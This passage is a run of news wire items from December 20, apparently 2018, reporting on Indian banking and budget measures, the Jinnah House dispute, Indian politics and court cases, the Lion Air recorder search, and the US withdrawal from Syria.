Deputy Chairman of the Committee. "The MPV Everest arrived at the crash site on Wednesday night and resumed search this morning," he said. The mission is undertaken round the clock and will continue for 10 days. If the mission fails in finding the cockpit voice recorder, a further evaluation will be carried out, Satmiko added. The fuselage of the aircraft and the remains of 64 victims which have not been recovered would also be the targets of the mission. The resumption was financed by Lion Air which has spent a 38 billion rupiah ($2.6 million) to pay the Dutch company following the request of the family members to continue search for the remains of their loved ones. The preliminary report of the crash gleaned data from the flight data recorder unveiled that the pilots struggled to control the flight's anti-stalling system just before the plane plunged into the water. Mumbai, Dec 20 : New RBI Governor Shaktikanta Das has completed his consultations with heads of state-run banks, he said on Wednesday. Das, who had earlier served in the government as Economic Affairs Secretary, took charge at the Reserve Bank of India (RBI) last week almost immediately after the abrupt resignation of Urjit Patel as the RBI Governor, a rare phenomenon in the banking world. "Meetings with public sector banks completed. Shall meet representatives of private sector banks and cooperative banks next week," Das said in a tweet. Briefing media after taking charge, Das had said that consultations with stakeholders have become fundamental to the central bank's functioning in view of the complexity of modern day decision-making and that he would start this process with meeting the heads of public sector banks (PSBs). Patel's resignation followed the most significant crisis in government-RBI relations provoked by the liquidity crunch in the economy. The government's "differences" with the RBI centres on four issues - the former wanted liquidity support to head off any credit freeze risk, a relaxation in capital requirements for lenders, relaxing the prompt corrective action (PCA) rules for banks struggling with accumulated non-performing assets (NPAs or bad loans) that have reached the staggering level of over Rs 12 lakh crore, and support for MSMEs. Earlier on Thursday, the government presented in the Lok Sabha the second Supplementary Demands for Grants for 2018-19 for gross additional expenditure of Rs 85,948.86 crore which includes Rs 41,000 crore for recapitalisation of the PSBs that have been hit hard by NPAs. Currently, 11 banks with high bad debts are under the PCA framework that prohibits them from further lending. On the insistence of the Central government, the RBI's Board for Financial Supervision is expected to meet soon. Bengaluru, Dec 20 : Global software major Infosys on Thursday said telecom Bharti Airtel's former executive Nilanjan Roy would be its new Chief Financial Officer (CFO) from March 1, 2019. "The Board of Directors has appointed Nilanjan Roy as CFO of the company, effective March 1, 2019," said the city-based IT behemoth in a statement here. Interim CFO Jayesh Sanghrajka will resume his responsibilities as Deputy CFO after 52-yer-old Roy joins on March 1. Sanghrajka, vice-president, was appointed to the executive post on November 15 following the resignation of former CFO M.D. Ranganath. "Roy comes to us with rich global experience. We express our appreciation to Sanghrajka for taking charge as interim CFO and thank him for ably executing the responsibility," said Chief Executive Salil Parkeh in the statement. Roy, who has been with Airtel for 13 years, joins the IT major after being its global CFO. Prior to Airtel, he worked with global FMCG manor Unilever across its global operations for 15 years. Roy is a Chartered Accountant (CA) and a commerce graduate from the University of Delhi. Roy will be the fifth CFO of the $11-billion Infosys after Ranganath, Rajiv Bansal, V. Balakrishnan and T.V. Mohandas Pai since 2011. The company, however, did not disclose the compensation package, including stock options to Roy. Los Angeles, Dec 20 : The Screen Actors Guild (SAG) Awards organisers are doing away with the red carpet for the gala's 25th anniversary. SAG has partnered with Reynolds Wrap and will be rolling out the aluminium foil to honour the awards ceremony's silver anniversary next year, reported etonline.com. "We are thrilled to bring our iconic Reynolds Wrap silver to life in such a distinctive way. We look forward to rolling out the Silver Carpet," said Lisa Burns, Vice President of Marketing, Reynolds Consumer Products. SAG Awards Executive Producer Kathy Connell said: "The Silver Carpet is a lovely way to celebrate our Silver Anniversary." The 25th Annual SAG Awards will be held on January 27. Mumbai, Dec 20 : Over 70 years after it was abandoned by the founder of Pakistan Mohammed Ali Jinnah, his iconic bungalow at Malabar Hill will be taken over by the Ministry of External Affairs and refurbished on the lines of New Delhi's Hyderabad House, official sources said on Thursday. The Prime Minister's Office (PMO) has cleared the process to transfer the Jinnah House from the Indian Council of Cultural Relations (ICCR), said Bharatiya Janata Party legislator M.P. Lodha, in whose Assembly constituency the property falls. "The MEA has been instructed by the PMO to renovate and refurbish it and develop it on the lines of the Hyderabad House in Delhi," Lodha said, quoting a December 5 letter received from Minister of External Affairs Sushma Swaraj. However, ICCR officials here remained tight-lipped on the development or a possible time-frame by which the Jinnah House would be handed over to the MEA. The famed and regal house, with a white and green facade, large balconies and rooms, was created by renowned British architect Claude Batley, was built in 1936-38 at a princely sum of nearly Rs 200,000 on a prime green corner of Malabar Hill. The ground-plus-one storey structure became the dream house for its owner, Barrister Jinnah, then a lawyer at the Bombay Presidency High Court, and is spread across over 2.5 acres besides a built up area of the majestic mansion spread of 1,694 sq metres. Historically, it was the venue where Jinnah first discussed the issue of partition of undivided India in 1944 with Mahatma Gandhi, and later in 1946 with Congress stalwart Pandit Jawaharlal Nehru. Top leaders of the Independence movement including Gandhi, Nehru, Subhash Chandra Bose and many others were regular visitors to the mansion in which crucial issues pertaining to India's freedom struggle and its future were discussed. Though Jinnah moved to Pakistan after partition, he wanted his property to be hired on a monthly rent of Rs 3,000 to a European family or a refined Indian prince. He made his desire known to the then Bombay Province Governor Sri Prakasa, who was deputed by Nehru to ascertain what was Jinnah's desire with his home post partition. However, after Independence on August 15, 1947, and following Jinnah's death in 1948, it was declared 'evacuee property' like thousands of others. Later, in 1955, it was leased out to the British Deputy High Commission in Mumbai till 1982. After that it has remained vacant with controversies surrounding it. The erstwhile Janata Party government proposed to hand it over to the Pakistan Consulate. But the idea was shelved following protests. Since 1982, it was under the care of the Central Public Works Department and in 1997 it was transferred to ICCR. After the Enemy Property Bill 2016, it belongs to the Indian government. In March 2017, a leading builder called for its demolition saying it symbolized the place where the "conspiracy to create Pakistan was hatched". In 2007, Jinnah's daughter, Dina Wadia, approached the Bombay High Court staking claim to the property as the sole heir. After her demise in November 2017, her son and Bombay Dyeing Chairman Nusli N. Wadia is pursuing the case. New Delhi, Dec 20 : A Delhi Assembly panel will explore the possibility of introducing fellowship and internship programmes, Speaker Ram Niwas Goel informed the House on Thursday. The decision came after AAP MLA Somnath Bharti raised the issue of legislators not having any facility on research as well as field work pertaining to legislative affairs. He said that Members of Parliament (MPs) have similar facilities, adding that Delhi Assembly should also have a research wing. "As of now, MLAs do not have facility to get sound information on a particular issue they want to speak on. Also, we do not have any stenographer," Bharti said. Deputy Chief Minister Manish Sisodia said the Delhi government will provide all possible assistance, including monetary, to the Assembly Secretariat. The Speaker said the Assembly's General Purpose Committee (GPC) will look into this matter, including introduction of fellowship and internship programmes, and said that Bharti will be a "special invitee" in the panel to suggest other measures. Goel informed lawmakers that the Assembly Secretariat has recently sent a proposal to the Delhi government on making proceedings in the House "paperless" at a cost of Rs 20 crore. Chennai, Dec 20 : Vedanta Ltd has applied to the Tamil Nadu Pollution Control Board (TNPCB) for permission to reopen its copper smelter plant, known as Sterlite Copper, in Tuticorin following a favourable decision from the National Green Tribunal (NGT), a senior official said here on Thursday. The company has reapplied for getting the Consent to Operation with TNPCB for restarting the copper smelter plant, P. Ramnath, CEO, Sterlite Copper, told reporters here on Thursday. He said the plant can start operations within two months on receipt of the permission. On December 15, the NGT set aside the Tamil Nadu government's order to close the copper smelter plant permanently. The NGT ordered the TNPCB to renew the Consent to Operate within three weeks. Meanwhile, the Tamil Nadu government has said it would appeal against the NGT order in the Supreme Court. Tamil Nadu had ordered the closure of the Tuticorin plant, around 650 km from Chennai, following protests and death of 13 persons in a police firing on May 22. Locals allege the plant causes pollution and affects their health. New Delhi, Dec 20 : India has made it clear that Pakistan has no say whatsoever on Jinnah House, the sea-facing bungalow in Mumbai of founder of Pakistan Muhammad Ali which is in the process of being turned into a cultural and convention centre. "Pakistan is not in the picture," External Affairs Ministry spokesperson Raveesh Kumar said on Thursday in response to a question at a media briefing. "They have no locus standi as far as this property is concerned," Kumar said. "It is a government of India property." His remarks came after the Pakistan Foreign Office earlier in the day said that Islamabad would not relinquish its claim over the property. Jinnah's daughter Dina Wadia had moved the Bombay High Court in August 2007 claiming ownership of the property on the ground that she was sole legal heir of Jinnah. After she passed away in December last year, her son and Wadia group chairman Nusli Wadia is carrying on the litigation process. "We are actually in the process of renovating it and putting it to effective use on the lines of what we do with Hyderabad House in New Delhi," Kumar said. External Affairs Minister Sushma Swaraj, in a letter to Mumbai BJP legislator Mangal Prabhat Lodha, said that the Prime Minister's Office has approved the property to be transferred to her ministry. New Delhi, Dec 20 : Boosted by the entry of former NDA constituent, the Rashtriya Lok Samta Party (RLSP), into the opposition coalition in Bihar, Rashtriya Janata Dal (RJD) leader Tejashwi Yadav on Thursday said a "pre-poll grand alliance" was imperative to defeat the BJP government at the Centre. With another NDA partner Lok Janshakti Party (LJP) expressing unease with the BJP, Tejashwi hinted at paying court to the Ram Vilas Paswan-led party to the United Progressive Alliance (UPA). Days after quitting the Modi government, RLSP leader Upendra Kushwaha formerly joined the UPA at the Congress headquarters here in the presence of Loktantrik Janata Dal leader Sharad Yadav, Hindustani Awam Morcha Jitan Ram Manjhi and several Congress leaders. "There was speculation about whether Kushwaha would join the UPA. Today his party is part of the grand alliance. It was Kushwaha's decision to join, nobody forced him. Similarly whether or not the LJP will join the grand alliance, that is their decision. But the country's (political) climate is changing, you need to wait and see," said Tejashwi reacting to reports of the LJP's unease with the BJP over seat-sharing pact in Bihar. Tejashwi's remarks came on a day when LJP chief and Union Minister Paswan along with his son Chirag held talks with BJP president Amit Shah in the national capital. While Tejashwi remained tight-lipped about any bid to woo Paswan to the grand alliance, sources said leaders of the Congress and the RJD were mulling a meeting with the LJP supremo. Tejashwi accused Prime Minister Narendra Modi of imposing an "undeclared emergency" in the country and wrecking democratic institutions, saying a "pre-poll grand alliance" of opposition parties was the need of the hour. "Opposition parties had a meeting at Parliament annexe where the discussions were positive. The first step towards a grand alliance is being taken and I hope all opposition parties must unite and contest the Lok Sabha polls together to defeat the BJP. "If we don't unite, people will not forgive us," he said exuding hope that Akhilesh Yadav-led Samajwadi Party (SP) and Mayawati's Bahujan Samaj Party (BSP) would sooner or later become a part of the anti-BJP "grand alliance". "Like-minded parties opposed to the BJP are steadily uniting. Both the SP and the BSP need not be told, they know what they should do. And I believe, their decision would be based on what the people of the country want, which is to get rid of the Modi government," he said. Remaining evasive about whether his party was open to the idea of Rahul Gandhi being the prime ministerial face of the grand alliance, Tejashwi praised the leadership qualities of the Congress President. "The issue is not who will be the Prime Minister, the issue is whether our Constitution, our country will be will be protected or not from the BJP onslaught. "The recent Assembly poll results have displayed Gandhi's leadership qualities. The way he is striving to bring all opposition parties to a single platform is praiseworthy. I believe opposition parties are uniting and we will together defeat the Modi regime," said Tejashwi. New Delhi, Dec 20 : In a crackdown on Maoist leaders in Bihar, the Enforcement Directorate (ED) has filed prosecution complaint against a top leader of the rebel group and attached properties worth Rs 285.14 lakh of four others under the Prevention of Money Laundering Act, the agency said on Thursday. The ED has filed a prosecution complaint or chargesheet against Pradumn Sharma, in-charge of Magadh Zone of CPI (Maoists), and has attached his properties valued at Rs 68 lakh. The agency also attached the immovable properties worth Rs 86 lakh, Rs 54.14 lakh and Rs 77 lakh (which included JCB, SUVs and buses) belonging to Maoist leaders Sandeep Yadav, Musafir Sahni, Anil Ram, and Binay Yadav (active commander of Bihar Regional Committee of CPI-Maoist) respectively. "The present market value of these immovable properties is several crore rupees," said an ED statement. ED investigators said that Sharma had laundered extortion money of Rs 2 crore layered through several bank accounts which was ultimately invested in immovable property held by his family members. "A part of the extortion money was used for admission of Sharma's niece in a prominent medical college," the statement, adding the annual fees of the college is Rs 24 lakh. "Binay Yadav has also been found laundering extortion money of Rs 1.50 crore using several bank accounts and the laundered money is ultimately used for movable and immovable properties. Musafir Sahni has also laundered extortion money and the same was invested in 11 plots of land in Vaishali in the name of his family members. Anil Ram had used extortion money in the acquisition of six immovable properties and truck on benami names," said the officials. Damascus, Dec 20 : A Kurdish-led alliance in Syria on Thursday said that US President Donald Trump's surprise decision to withdraw American troops would allow the Islamic State (IS) group to recover. A statement from the Syrian Democratic Forces (SDF)-- an alliance of Syrian Kurdish and Arab fighters -- warned of a military vacuum that would leave the alliance trapped between "hostile parties", the BBC reported. Trump said on Wednesday that his government considered its work in Syria is complete as the IS has lost nearly all the territory it had occupied in that Arab nation in 2014. However, major allies and certain US politicians disputed the claim. A US partnership with the SDF was credited with playing a major role in the virtual elimination of the terror group after it overran large swathes of Syria four years ago. The White House announced that the withdrawal of 2,000 US troops from the Middle Eastern nation had begun, hours after Trump proclaimed the defeat over IS. But the SDF said the fight against terror had not come to an end. "The decision of the White House to withdraw from north and east Syria will negatively affect the campaign against terrorism and will give its supporters political, field and military momentum to revive again and carry out a counter-terrorism campaign in the region," it said in a statement. "The battle of fighting terrorism is not over yet and it (terrorism) is not fully defeated, but it is at a crucial stage that demands cooperation from all parties and a greater support from the international coalition to sustain the battle," the SDF added. It also said that the US decision would have serious repercussions that would destabilize the world. The SDF launched a campaign last September with the intention of seizing the last strongholds of the terror organization around the Euphrates River, near the Iraqi border. Turkey, meanwhile, said it was poised to launch a military operation against the Kurdish YPG militia -- the main fighting force in the SDF -- which it regards as a terrorist group. The US support for the group has strained relations between Washington and Ankara. Bangkok, Dec 20 : Thai Prime Minister Prayut Chan-o-cha on Thursday dismissed calls for his resignation ahead of February's general election. Prayut told reporters at the Government House that he will stay on as head of government and chief of the ruling National Council for Peace and Order despite persistent calls for him to step down during the run up to the nationwide election, scheduled for February 24, Xinhua news agency reported. He called on his critics to stop asking him to quit until the end of the electoral campaign during which he will almost certainly be pitted as the top candidate for post-election Prime Minister by the Palang Pracharath Party, from which he has four members of his Cabinet. Prayut came to power after the 2014 coup staged by the military junta under his command as Army chief. He set up an un-elected government after the coup. Mumbai, Dec 20 : The Bombay High Court on Thursday confirmed the death penalty awarded by a lower court to Chandrabhan Sudam Sanap, convicted of the sensational 2014 rape-cum-murder of an Andhra Pradesh techie, Esther Anuhya in Mumbai. A division bench comprising Justice Ranjit More and Justice Bharati Dangre, confirming a women's court verdict of December 2015 observed that the case fell in the "rarest of rarea category" and had "shocked the conscience of society." The court further said that they had not seen any "remorse" on the (then) 28-year-old accused, did not see possibility of any reform, and "such a person remains a menace to society." It was on January 5, 2014 when Esther, a 23-year old software engineer with Tata Consultancy Services (TCS), was offered a lift by Sanap on his motorcycle from Lokmanya Tilak Terminus to her hostel in Andheri West. Sanap raped and murdered Esther. Subsequently he burnt and disposed of her body at a desolate area on the Eastern Express Highway near Bhandup before driving away. Her half-burnt and decomposed body was found after 11 days when some pedestrians reported it. Investigators who cracked the case nearly two months after she was reported missing said Sanap was a mobile phone thief and robbery was the main motive behind the crime. That fateful morning around 5 a.m. Esther had returned by train to Mumbai by the Vishakhapatnam-LTT Express, after celebrating Christmas and New Year with her family in Machilipatnam. En route, Sanap stopped the bike on the pretext that it had run out of petrol, then grabbed and dragged Esther to the bushes in the foggy darkness. She strongly resisted him, but he repeatedly clobbered her with stones, raped and strangled her with a dupatta, took her two bags containing a laptop and other valuables and fled. Later, he came back to search for her mobile phone but could not find it. He burnt her body and again left the crime scene. Amid a series of protests and massive public support for Esther, the Mumbai Police and Railway Police succeeded in solving the case with the help of CCTV camera footages of that morning near the LTT premises and mobile call records. New Delhi, Dec 20 : The Ministry of Environment, Forest and Climate Change on Thursday launched the 'Asiatic Lion Conservation Project' with an aim to protect and conserve the world's last ranging free population of Asiatic Lion and its associated ecosystem. The decision came two days after three asiatic lions were run over by a goods train in Gir. "The Asiatic Lion Conservation Project will strengthen the ongoing measures for conservation and recovery of Asiatic Lion with the help of state-of-the-art techniques, regular scientific research studies, disease management, modern surveillance techniques," Union Minister Dr. Harsh Vardhan said at a review meeting. The minister said the total budget of the project for 3 years will be funded through a Centrally sponsored scheme, the Development of Wildlife Habitat, with the contributing ratio of 60:40 for central and state share. Asiatic Lions which once ranged from Persia (Iran) to Palamau in Eastern India had almost been driven to extinction by indiscriminate hunting and habitat loss. A single population of less than 50 lions persisted in the Gir forests of Gujarat by late 1890's. With stringent protection offered by the state and the Central governments, Asiatic lions have increased to the current population of over 500. The 2015 census showed a population of 523 Asiatic Lions in the Gir Protected Area Network of 1648.79 sq. km. New Delhi, Dec 20 : South Korean mobile phone major Samsung Mobile is the most attractive brand, said a TRA Research report on Thursday. Reliance Jio, the major disruptor in the the Indian telecom sector, ranked fourth among the top 20 attractive brands, the report said. Speaking on the popularity of Samsung Mobile, N. Chandramouli, CEO of TRA Research, said: "Samsung offers mobile phones with prices ranging from Rs 8,000-75,000 and this very variety sets it aside from other mobile manufacturers." He also noted that the company has come out well after instances of the Samsung Note 7 model bursting and catching fire in 2016 hurt the brand significantly. On Reliance Jio, Chandramouli said that the internet penetration achieved by Jio and the data availability it has ensured have helped in its popularity. Following Samsung Mobile, on the second position is Tata Motors, while Apple iPhone ranked third in the list. The fifth position was held by Maruti Suzuki. TRA said it conducted the survey among 2,474 consumer-influencers across 16 cities in the country. Islamabad, Dec 20 : The Afghan government has released nine members of the Haqqani network, including the younger brother of the group's current leader Sirajuddin Haqqani, under President Ashraf Ghani's "Road Map" for peace in the war-torn country, Pakistan's Geo News reported on Thursday. The report cited sources privy to the Afghan peace talks as saying that the Taliban had demanded the release of some key leaders two days ago. The prisoners who were released by the Afghan government included Sirajuddin Haqqani's brother Anas. The move was the result of a dialogue between the Taliban and the US in the United Arab Emirates (UAE), according to Geo News. Anas is the youngest son of the founder of the Haqqani network Jalaluddin Haqqani. He was arrested by the Afghan intelligence on October 14, 2014 from Afghanistan's Khost province. It is believed that the recent release is a part of a prisoner exchange deal, the report said. On Monday, representatives from the Afghan Taliban met officials from the US in the UAE in a bid to find shared ground to end the 17-year war in Afghanistan. The meeting also included representatives from Pakistan, Saudi Arabia and the UAE. Before that, US President Donald Trump sent a letter to Pakistan's Prime Minister Imran Khan seeking his assistance in the Afghan peace process. The US leader had also reportedly sought Islamabad's help in bringing the Taliban leadership to the negotiating table. Trump's letter was followed by a visit from US Special Representative for Afghanistan Reconciliation Zalmay Khalilzad to Islamabad seeking a peaceful resolution of the Afghan conflict. New Delhi, Dec 20 : Finance Minister Arun Jaitley on Thursday said the government will infuse Rs 83,000 crore in public sector banks in the remaining part of the fiscal taking the total recapitalisation of banks during the year to Rs 1.06 lakh crore. "Today we have asked for the parliamentary sanction for (issuing) additional recapitalisation bonds of Rs 41,000 crore... As of today, of the Rs 65,000 crore recapitalisation plan for 2018-19, Rs 42,000 crore is still remaining. "Therefore, with this additional Rs 41,000 crore, we will now have Rs 83,000 crore for the balance year and that will make this year's recap to a total of Rs 1.06 lakh crore," Jaitley said after tabling the Supplementary Demands for Grants in the Lok Sabha. The second batch of Supplementary Demands for Grants for 2018-19 involving a gross spending of Rs 85,948.86 crore includes the package of Rs 41,000 crore for banks. It will not require any additional cash outgo as the capital infusion is planned through bonds. Jaitley said the distribution process for the Rs 83,000 crore capital infusion in state-run banks will be decided on the basis of performance of banks by the Department of Financial Services (DFS). About Rs 23,000 crore have already been infused this fiscal. Capital infusion will be done under four heads to help banks meet regulatory capital norms, help better performing banks under RBI's Prompt Corrective Action (PCA) to get out of it, facilitate non-PCA banks that are near the "red-line" and to strengthen amalgamated banks. Financial Services Secretary Rajeev Kumar said the capital infusion will help at least four of the total 11 PCA banks meet their regulatory capital norms. Overall strengthening of the banks will encourage lending and thereby economic growth of the country. "We have made provisions to give capital to 4-5 banks (in PCA) depending on performance and on the Q2 and Q3 results. The figures will be decided (later) but there are chances that we equip at least 3 to 5 banks to meet the norms," he said. As per the current regulatory norms, the PCA banks will have to achieve 9 per cent Capital to Risk-weighted Asset Ratio (CRAR), 1.875 per cent Capital Conservation Buffer and the 6 per cent net non-performing assets (NPA) threshold to come out of PCA and restart lending. "About the PCA banks, the performances we are looking at is the lower level and declining trend of net NPAs, whichever PCA bank has shown better performance in terms of reduction in NPAs and the improvements in return on assets. Name of these banks will be worked out." Kumar said there are three non-PCA banks that are near the threshold and in the danger of falling into the PCA category. These banks, including Punjab National Bank, will be provided capital to strengthen their base, he said. There are three to four banks namely State Bank of India, Bank of Baroda, Indian Bank and Vijaya Bank that have maintained regulatory capital even higher than the prescribed minimum and would not need any capital infusion. "The process of NPA recognition that started in 2015 is almost complete. The last quarter has showed improved performance. While recognition of NPAs peaked at 7 per cent in March 2015, it has now come down to 0.59 per cent as of September 2018," Jaitley said. The government had initiated a comprehensive clean-up of the banking system under its 4R's approach of recognition, resolution, recapitalisation and reforms. Since 2015-16 till end of this fiscal, the total capital infusion in public sector banks will be over Rs 3 lakh crore. "The NPAs recognition is complete, recapitalisation is in full swing, it has been enhanced further, recovery is also in full swing, the last H1 (April-September 2018) recovery is to the tune of Rs 60,726 crore," Kumar said. The trend is likely to continue as the creditor-debtor relationship has changed because of the Insolvency and Bankruptcy Code (IBC) and debarment of the connected parties, he said. "PSBs are showing tremendous improvement in terms of recognition, in terms of provisioning, recovery, reforms and therefore this is the time that we empower them and equip them with the capital so that the banks are ready to support the fastest growing economy," he added. Mumbai, Dec 20 : Shares of global aerospace major Airbus fell by around 5 per cent during Thursday's afternoon trade session on the Paris Stock Exchange, after international reports said US would join a global investigation on the company over corruption allegations. Accordingly, the scrip of the aircraft manufacturer traded at 82.92 euros per piece at 14.50 CET (7:20 p.m. IST) down 4.91 per cent from its previous close of 87.20 euros. The stock has touched an intra-day low of 78.83 euros. The sharp correction in the scrip price was triggered after international media cited a report by France-based newspaper -- Le Monde -- which said that the US is joining a global inquiry over the company's usage of agents or intermediaries when it negotiated several large contracts abroad, particularly in Asia. As per the newspaper's report, the US Department of Justice (DoJ) launched an official investigation at the end of 2017. In addition, the company faces investigations by the British Anti-Corruption Agency and from the National Financial Prosecutor's Office (PNF) in Paris. New Delhi, Dec 20 : Prime Minister Narendra Modi will inaugurate an archaeological museum in Lalitgiri, Odisha during his visit to the state scheduled for next week, Minister of Culture Mahesh Sharma said on Thursday. "The Archaeological Museum, Lalitgiri, is sure to add more charm to tourism in the region and increase the immense potential of employment generation," Sharma said at a press conference held here. Minister of Petroleum and Natural Gas Dharmendra Pradhan also accompanied him. Built by the Archaeological Survey of India (ASI), the museum aims to protect and preserve retrieved antiquities. The government has spent Rs 10 crore on constructing the museum, spread over an area of 4,750 sq.m. ASI Director General Usha Sharma said that the most important finds in Lalitgiri are relic caskets found inside the stupa during excavations in 1985. Three Khondalite stone caskets were found, of which two have one set of steatite, silver and gold caskets each with the relics inside in the form of charred bones. Modi will release the commemorative coin and postage stamp in memory of the Paika Rebellion at a function to be held on the IIT-Bhubaneswar campus, Sharma said. "The Centre has decided to set up a chair in the memory of the event in Utkal University, Bhubaneswar, at a cost of Rs 5 crore. The money will be released to the university as a corpus fund to be kept in an escrow account. Expenses of the chair will be met out of the interest earned on the corpus fund," he said. New Delhi, Dec 20 : The Delhi High Court on Thursday asked the city police not to take any coercive steps against Air India pilot Arvind Kathpalia, accused of violating aircraft rules and tampering with evidence. Justice Mukta Gupta, who was hearing an anticipatory bail plea of Kathpalia, directed the pilot to join the investigation. The Indian Pilots Association has alleged that Kathpalia on January 19, 2017, operated a back and forth flight from New Delhi to Bengaluru without undergoing the mandatory pre-flight breath analyser test. The Delhi Police has registered an FIR accusing him of destruction of evidence and forgery under sections of the Indian Penal Code and provisions of the Aircraft Act. On November 13, the Centre removed Kathpalia from the post of Director - Operations after he skipped the pre-flight breath analyser test. Earlier, his flying licence was suspended by aviation regulator Directorate General of Civil Aviation (DGCA). Narmada (Gujarat), Dec 20 : Union Home Minister Rajnath Singh on Thursday said the internal security situation in the country has vastly improved, particularly in the North-East and the Left Wing Extremist (LWE) affected states. Saying that security scenario in the North-East region has witnessed "steady improvement" in recent years, the Minister said all parameters of violence have improved in 2018 in comparison to corresponding period of 2017. "There is 17 per cent decline in total incidents and 38 per cent reduction in the casualties of civilians," Singh said while addressing on the inaugural session of the conference of Director Generals and Inspector Generals of Police at Kevadia. He said India's security concerns have been conveyed to Myanmar even as efforts are on to harness the trade potential with the eastern neighbour and beyond. "A number of our militant groups are operating from the territories of neighbouring countries, particularly Myanmar. Our concerns have been highlighted in the bilateral meetings with these countries. In order to plug the gaps on the Indo-Myanmar border, an Inter-Ministerial Committee headed by MHA has formulated a revised protocol for effective implementation of Free Movement Regime." Rajnath Singh said violence in the LWE-affected areas continues to improve since the last eight years and major operational successes was witnessed in core Maoist areas in Chhattisgarh, Jharkhand and Odisha which resulted almost two-fold increase in the losses suffered by LWEs this year. "After a comprehensive review the number of districts covered under SRE (Security Related Expenditure) scheme were reduced from 126 to 90." Referring to the communal situation, the Minister said it remained under control this year with a decrease of 12 per cent in communal incidents as compared to the corresponding period in 2017. "Misuse of social media for religious denigration also witnessed a significant decline during this year," he added. Singh said terrorism in the hinterland has also been stamped out. "Law enforcement agencies, through concerted action coordinated by Intelligence Bureau, have managed to overcome the first tide of propaganda and mobilization by Islamic State in Iraq and Syria. Consequently, India witnessed very few incidents of Islamic State inspired violence. In concerted counter-terrorism operations, law enforcement agencies have arrested nearly 125 terrorist suspects as against 117 arrested in 2017," said the Minister. "The new phase of Islamic State propaganda emanating from Afghanistan-Pakistan region is also being countered effectively." Singh said the security situation in Jammu and Kashmir continues to be vitiated even though the stone pelting incidents have declined and that the attempts by militants to infiltrate, making attacks intermittently and doing recruitments locally continue. "Terror infrastructure in Pakistan and PoK (Pakistan occupied Kashmir) remains in the form of training camps, launching pads and communication control stations. The separatists also exploit every possible situation to agitate the people to fan further anti-India sentiments which leads to law and order situation." He directed the security establishment to check efforts to revive terrorism in Punjab. "Pakistan continues to abet terrorism. During January 1, 2017 to November 29, 2018, 17 ISI (Inter-Services Intelligence) backed espionage modules have been neutralized in the country resulting in the arrest of 25 espionage agents which include two Pakistanis," he said. New Delhi, Dec 20 : Gujarat topped the Department of Industrial Policy and Promotion's (DIPP) first-ever ranking of states on startup ecosystem. Karnataka, Kerala, Odisha and Rajasthan followed Gujarat in the list and were adjudged the "top performers", according to an official statement released on Thursday. "DIPP consulted all stakeholders of the startup ecosystem and came up with seven key reform areas as the basis of the states' start-up ranking framework. An online portal was launched, which was instrumental in enabling states seamlessly submit their initiatives across these reform areas", the Commerce Ministry statement said. The key objective of the exercise was to encourage states and Union Territories to take proactive steps towards strengthening the startup ecosystems in their states, it added. Following the "top performers" were Andhra Pradesh, Bihar, Chhattisgarh, Madhya Pradesh and Telangana, which were described as the "leaders". Haryana, Himachal Pradesh, Jharkhand, Uttar Pradesh and West Bengal came out as the "aspiring leaders" in providing a friendly ecosystem for startups to grow. Assam, Delhi, Goa, jammu and Kashmir, Maharashtra, Punjab, Tamil Nadu and Uttarakhand came under the "emerging states" category, while Chandigarh, Manipur, Mizoram, nagaland, Puducherry, Sikkim and Tripura were ranked as "beginners". A total of 27 states and 3 Union Territories participated in the exercise, the statement said. Lucknow, Dec 20 : Amid heated exchanges between the treasury and the opposition benches, the Rs 8,054.49-crore supplementary budget presented by the state government on Wednesday was passed in both Houses of the state legislature on Thursday. Even as the opposition lawmakers called the budgetary provisions "jumlebaazi", Chief Minister Yogi Adityanath said his government is working for an all-round development of the state. In his address, the Chief Minister targeted the Samajwadi Party (SP) and said this party has the habit of making a mountain out of a molehill. The people, he added, have not given up their habit of conspiracies and "I am sure that they will never mend their ways, and if at all they change, they will do so after many births". While speaking on the supplementary budget, Adityanath listed the achievements of his government and slammed the opposition for indulging in gimmicks. He added that his government had ensured that the supplementary budget had something for all sections of the society and was in line with the dreams of Prime Minister Narendra Modi. He also pointed out that the long-sick and loss-making Uttar Pradesh State Roadways Transport Corporation (UPSRTC) had logged a Rs 400-crore profit this year and that the Mandi Samiti had earnings worth Rs 218 crore. The Chief Minister also informed that the national coverage of Uttar Pradesh in the Swachh Bharat Mission had increased from 23 to 96 per cent and that the sate government is set to provide toilets to 44 lakh households. He also lambasted the opposition for trying to portray the Bharatiya Janata Party (BJP) as an anti-farmer party and said they very well understand who their well wisher actually was. Speaking on the forthcoming Kumbh-2019 in Allahabad next year, the Chief Minister said this time pilgrims would be able to visit and have darshan of the "Akshay Vat" and that the area of the Kumbh has been increased from 1,700 to 3,200 hectares. Chandigarh, Dec 20 : Haryana Chief Minister Manohar Lal Khattar on Thursday directed senior officers to get about 50 lakes or reservoirs built in areas that surround Delhi to pre-empt flooding in the rainy season. "During monsoon, the flow of water increases in rivers. It also increases the chance of low-lying areas getting flooded. The excess water would be collected in these lakes or reservoirs to avoid such a situation," Khattar said at a review meeting of irrigation and water resources department on Thursday. Haryana surrounds the national capital Delhi from three sides. The Chief Minister directed the officers to get these lakes or reservoirs constructed on barren or saline land and after identifying such areas, they should be developed as lakes or reservoirs, an official spokesman said. The Yamuna, which passes through Delhi, flows through Haryana first and crosses the danger mark during the rainy season. New Delhi, Dec 20 : The Central government on Thursday sought Parliament's nod to infuse Rs 2,345 crore into the financially strained national carrier Air India under the airline's 'Turn Around Plan'. The amount is a part of second Supplementary Demands for Grants for 2018-19 for gross additional expenditure of Rs 85,948.86 crore which was presented to the Lok Sabha by Finance Minister Arun Jaitley. The demands, tabled by Jaitley, contain proposals involving a net cash outgo aggregate to Rs 15,069.49 crore and gross additional expenditure, matched by savings of the ministries and departments or by enhanced receipts and recoveries, aggregating Rs 70,882.21 crore. Additionally, the government has sought the Parliament's nod for providing Rs 1,300 'Grants-in-Aid General' to Air India Asset Holding (Special Purpose Vehicle). The development comes after the Central government had decided to transfer Air India's debt worth Rs 29,000 crore to the SPV. The decision was taken by an inter-ministerial panel -- Air India Specific Alternate Mechanism -- which has been formed to look after the divestment of the national carrier. The move was aimed to lessen the interest payment obligation of the airline on its total outstanding debt of over Rs 50,000 crore. In addition, the inter-ministerial panel had decided to divest the government's stake in Air India Air Transport Services Ltd (AIATSL). Last Month, Civil Aviation Secretary R.N. Choubey had said that the national carrier has commenced a "cost-cutting and revenue augmentation" plan to garner "financial benefits" of Rs 2,000 crore per annum. The cost cutting and revenue augmentation plan was recently implemented by the airline. Prior to the current move, the government had offered to sell 76 per cent stake in Air India. However, the state-owned carrier, which has accumulated losses of over Rs 48,000 crore, failed to attract any bidder. On May 31, the Ministry of Civil Aviation said that "no response" was 